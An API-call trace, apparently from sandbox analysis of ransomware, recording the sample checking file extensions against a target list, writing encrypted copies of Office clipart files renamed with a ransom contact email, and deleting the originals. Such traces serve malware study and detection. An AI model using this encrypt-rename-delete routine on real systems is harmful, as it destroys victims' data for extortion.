lstrlenW (lpString=".rar") returned 4 [0154.038] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.038] lstrlenW (lpString=".bz2") returned 4 [0154.038] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.038] lstrlenW (lpString=".7z") returned 3 [0154.038] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0154.038] lstrlenW (lpString=".dbf") returned 4 [0154.038] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0154.038] lstrlenW (lpString=".1cd") returned 4 [0154.038] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00252_.WMF") returned 68 [0154.038] lstrlenW (lpString=".jpg") returned 4 [0154.038] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.040] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.040] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0154.041] GetLastError () returned 0x0 [0154.041] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x30c2, lpOverlapped=0x0) returned 1 [0154.134] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x30d0, lpOverlapped=0x0) returned 1 [0154.135] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.135] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.136] SetEndOfFile (hFile=0x1098) returned 1 [0154.136] CloseHandle (hObject=0x1098) returned 1 [0154.150] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.150] SetEndOfFile (hFile=0x1084) returned 1 [0154.151] CloseHandle (hObject=0x1084) returned 1 [0154.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.151] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00261_.wmf")) returned 1 [0154.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0154.153] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0154.153] lstrlenW (lpString=".doc") returned 4 [0154.153] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.153] lstrlenW (lpString=".docx") returned 5 [0154.153] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.153] lstrlenW (lpString=".pdf") returned 4 [0154.154] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.154] lstrlenW (lpString=".xls") returned 4 [0154.154] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.154] lstrlenW (lpString=".xlsx") returned 5 [0154.154] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.154] lstrlenW (lpString=".ppt") returned 4 [0154.154] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.154] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0154.154] lstrlenW (lpString=".zip") returned 4 [0154.154] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.154] lstrlenW (lpString=".rar") returned 4 [0154.154] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.155] lstrlenW (lpString=".bz2") returned 4 [0154.155] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.155] lstrlenW (lpString=".7z") returned 3 [0154.155] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0154.155] lstrlenW (lpString=".dbf") returned 4 [0154.155] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0154.155] lstrlenW (lpString=".1cd") returned 4 [0154.155] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00261_.WMF") returned 68 [0154.155] lstrlenW (lpString=".jpg") returned 4 [0154.155] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.156] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.156] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.156] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0154.156] GetLastError () returned 0x0 [0154.157] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1678, lpOverlapped=0x0) returned 1 [0154.177] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x1680, lpOverlapped=0x0) returned 1 [0154.178] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.178] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.179] SetEndOfFile (hFile=0x1098) returned 1 [0154.179] CloseHandle (hObject=0x1098) returned 1 [0154.181] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.181] SetEndOfFile (hFile=0x1084) returned 1 [0154.182] CloseHandle (hObject=0x1084) returned 1 [0154.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.183] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0154.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0154.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0154.183] lstrlenW (lpString=".doc") returned 4 [0154.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.183] lstrlenW (lpString=".docx") returned 5 [0154.183] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.183] lstrlenW (lpString=".pdf") returned 4 [0154.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.183] lstrlenW (lpString=".xls") returned 4 [0154.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.184] lstrlenW (lpString=".xlsx") returned 5 [0154.184] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.184] lstrlenW (lpString=".ppt") returned 4 [0154.184] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0154.184] lstrlenW (lpString=".zip") returned 4 [0154.184] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.184] lstrlenW (lpString=".rar") returned 4 [0154.184] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.184] lstrlenW (lpString=".bz2") returned 4 [0154.184] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.184] lstrlenW (lpString=".7z") returned 3 [0154.184] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0154.184] lstrlenW (lpString=".dbf") returned 4 [0154.184] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0154.184] lstrlenW (lpString=".1cd") returned 4 [0154.184] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.184] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0154.184] lstrlenW (lpString=".jpg") returned 4 [0154.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.185] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.185] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0154.195] GetLastError () returned 0x0 [0154.195] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1498, lpOverlapped=0x0) returned 1 [0154.196] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x14a0, lpOverlapped=0x0) returned 1 [0154.198] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.198] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.198] SetEndOfFile (hFile=0x1098) returned 1 [0154.198] CloseHandle (hObject=0x1098) returned 1 [0154.201] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.201] SetEndOfFile (hFile=0x1084) returned 1 [0154.202] CloseHandle (hObject=0x1084) returned 1 [0154.202] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.202] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00269_.wmf")) returned 1 [0154.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0154.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0154.203] lstrlenW (lpString=".doc") returned 4 [0154.203] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.203] lstrlenW (lpString=".docx") returned 5 [0154.203] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.203] lstrlenW (lpString=".pdf") returned 4 [0154.203] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.203] lstrlenW (lpString=".xls") returned 4 [0154.203] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.203] lstrlenW (lpString=".xlsx") returned 5 [0154.203] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.203] lstrlenW (lpString=".ppt") returned 4 [0154.203] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.203] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0154.203] lstrlenW (lpString=".zip") returned 4 [0154.203] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.203] lstrlenW (lpString=".rar") returned 4 [0154.203] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.204] lstrlenW (lpString=".bz2") returned 4 [0154.204] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.204] lstrlenW (lpString=".7z") returned 3 [0154.204] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0154.204] lstrlenW (lpString=".dbf") returned 4 [0154.204] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0154.204] lstrlenW (lpString=".1cd") returned 4 [0154.204] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.204] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00269_.WMF") returned 68 [0154.204] lstrlenW (lpString=".jpg") returned 4 [0154.204] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.204] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.204] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.204] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0154.205] GetLastError () returned 0x0 [0154.205] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0xec4, lpOverlapped=0x0) returned 1 [0154.206] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xed0, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xed0, lpOverlapped=0x0) returned 1 [0154.207] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.208] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.208] SetEndOfFile (hFile=0x1098) returned 1 [0154.208] CloseHandle (hObject=0x1098) returned 1 [0154.209] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.209] SetEndOfFile (hFile=0x1084) returned 1 [0154.210] CloseHandle (hObject=0x1084) returned 1 [0154.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.210] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00273_.wmf")) returned 1 [0154.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0154.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0154.211] lstrlenW (lpString=".doc") returned 4 [0154.211] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.211] lstrlenW (lpString=".docx") returned 5 [0154.211] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.211] lstrlenW (lpString=".pdf") returned 4 [0154.211] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.211] lstrlenW (lpString=".xls") returned 4 [0154.211] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.211] lstrlenW (lpString=".xlsx") returned 5 [0154.211] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.211] lstrlenW (lpString=".ppt") returned 4 [0154.211] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0154.211] lstrlenW (lpString=".zip") returned 4 [0154.211] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.211] lstrlenW (lpString=".rar") returned 4 [0154.211] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.211] lstrlenW (lpString=".bz2") returned 4 [0154.211] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.212] lstrlenW (lpString=".7z") returned 3 [0154.212] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0154.212] lstrlenW (lpString=".dbf") returned 4 [0154.212] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0154.212] lstrlenW (lpString=".1cd") returned 4 [0154.212] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00273_.WMF") returned 68 [0154.212] lstrlenW (lpString=".jpg") returned 4 [0154.212] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.212] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.212] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0154.213] GetLastError () returned 0x0 [0154.213] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x1044, lpOverlapped=0x0) returned 1 [0154.214] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0x1050, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0x1050, lpOverlapped=0x0) returned 1 [0154.216] ReadFile (in: hFile=0x1084, lpBuffer=0x39d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f8fecc, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesRead=0x2f8fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.216] WriteFile (in: hFile=0x1098, lpBuffer=0x39d1020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f8fc94, lpOverlapped=0x0 | out: lpBuffer=0x39d1020*, lpNumberOfBytesWritten=0x2f8fc94*=0xec, lpOverlapped=0x0) returned 1 [0154.216] SetEndOfFile (hFile=0x1098) returned 1 [0154.216] CloseHandle (hObject=0x1098) returned 1 [0154.221] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.221] SetEndOfFile (hFile=0x1084) returned 1 [0154.222] CloseHandle (hObject=0x1084) returned 1 [0154.222] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF.id-B4197730.[bitcharity@protonmail.com].com", dwFileAttributes=0x220) returned 1 [0154.223] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00274_.wmf")) returned 1 [0154.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0154.223] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0154.223] lstrlenW (lpString=".doc") returned 4 [0154.223] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0154.223] lstrlenW (lpString=".docx") returned 5 [0154.223] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0154.223] lstrlenW (lpString=".pdf") returned 4 [0154.223] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0154.223] lstrlenW (lpString=".xls") returned 4 [0154.223] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0154.224] lstrlenW (lpString=".xlsx") returned 5 [0154.224] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0154.224] lstrlenW (lpString=".ppt") returned 4 [0154.224] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0154.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0154.224] lstrlenW (lpString=".zip") returned 4 [0154.224] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0154.224] lstrlenW (lpString=".rar") returned 4 [0154.224] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0154.224] lstrlenW (lpString=".bz2") returned 4 [0154.224] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0154.224] lstrlenW (lpString=".7z") returned 3 [0154.224] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0154.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0154.224] lstrlenW (lpString=".dbf") returned 4 [0154.224] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0154.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0154.224] lstrlenW (lpString=".1cd") returned 4 [0154.224] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0154.224] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00274_.WMF") returned 68 [0154.224] lstrlenW (lpString=".jpg") returned 4 [0154.224] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0154.225] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.225] SetFilePointerEx (in: hFile=0x1084, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f8fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1098 [0154.225] GetLastError () returned 0x0 [0154.225] ReadFile 